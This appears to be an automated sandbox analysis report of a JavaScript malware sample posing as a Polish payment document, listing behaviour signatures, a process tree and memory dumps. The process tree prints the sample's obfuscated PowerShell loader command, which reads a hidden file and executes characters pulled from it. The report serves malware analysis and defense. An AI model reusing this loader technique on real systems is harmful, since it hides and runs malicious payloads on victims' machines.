Analysis
- max time kernel
148s - max time network
124s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260706-en - resource tags
- submitted
07/07/2026, 12:12
General
- Target Płatność_2026-07-07_082-62-18_skanuj_do_druku..js
- Size 30KB
- Sample260707-pc6htshs81
- SHA256 be1095d243858f9104c7c2f87664b2d419f6390f8e5382bd371e958c3496b3a5
Malware Config
Signatures
- Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
- Drops desktop.ini file(s) 3 IoCs
- Command and Scripting Interpreter: JavaScript 1 TTPs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Program crash 1 IoCs
- System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Modifies Internet Explorer settings 1 TTPs 2 IoCs
- Modifies registry class 24 IoCs
- Suspicious behavior: AddClipboardFormatListener 1 IoCs
- Suspicious behavior: EnumeratesProcesses 7 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of FindShellTrayWindow 1 IoCs
- Suspicious use of SetWindowsHookEx 1 IoCs
- Suspicious use of WriteProcessMemory 2 IoCs
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\Płatność_2026-07-07_082-62-18_skanuj_do_druku..js1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\explorer.exe"C:\Windows\explorer.exe" C:\Reformat2⤵
- Modifies registry class
-
-
C:\Windows\explorer.exeC:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding1⤵
- Drops desktop.ini file(s)
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Rectiline='/app'+'data';$Troskyl=gc ($HOME+$Rectiline+'/local/Satanisena');$Contra=$Troskyl[2895]+$Troskyl[2896]+$Troskyl[2897]; . ($Contra) $Troskyl"2⤵
- Badlisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\rundll32.exeC:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding1⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "$Rectiline='/app'+'data';$Troskyl=gc ($HOME+$Rectiline+'/local/Satanisena');$Contra=$Troskyl[2895]+$Troskyl[2896]+$Troskyl[2897]; . ($Contra) $Troskyl"1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5164 -s 24322⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 436 -p 5164 -ip 51641⤵
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
StartupProfileData-NonInteractive
irra.Car
Satanisena
memory/5164-10-0x0000000004F90000-0x0000000004FB2000-memory.dmp
memory/5164-18-0x0000000005DB0000-0x0000000005DFC000-memory.dmp
memory/5164-11-0x0000000005030000-0x0000000005096000-memory.dmp
memory/5164-12-0x00000000050A0000-0x0000000005106000-memory.dmp
memory/5164-15-0x0000000005980000-0x0000000005CDB000-memory.dmp
memory/5164-9-0x0000000005140000-0x000000000578A000-memory.dmp
memory/5164-17-0x0000000005D70000-0x0000000005D8E000-memory.dmp
memory/5164-8-0x0000000002540000-0x0000000002576000-memory.dmp
memory/5164-19-0x0000000006D30000-0x0000000006DC6000-memory.dmp
memory/5164-20-0x00000000062D0000-0x00000000062EA000-memory.dmp
memory/5164-21-0x0000000006320000-0x0000000006342000-memory.dmp
memory/5164-22-0x00000000075F0000-0x0000000007BAA000-memory.dmp
memory/5164-23-0x0000000008230000-0x00000000088AC000-memory.dmp
memory/6088-3-0x00000117D55C0000-0x00000117D55E2000-memory.dmp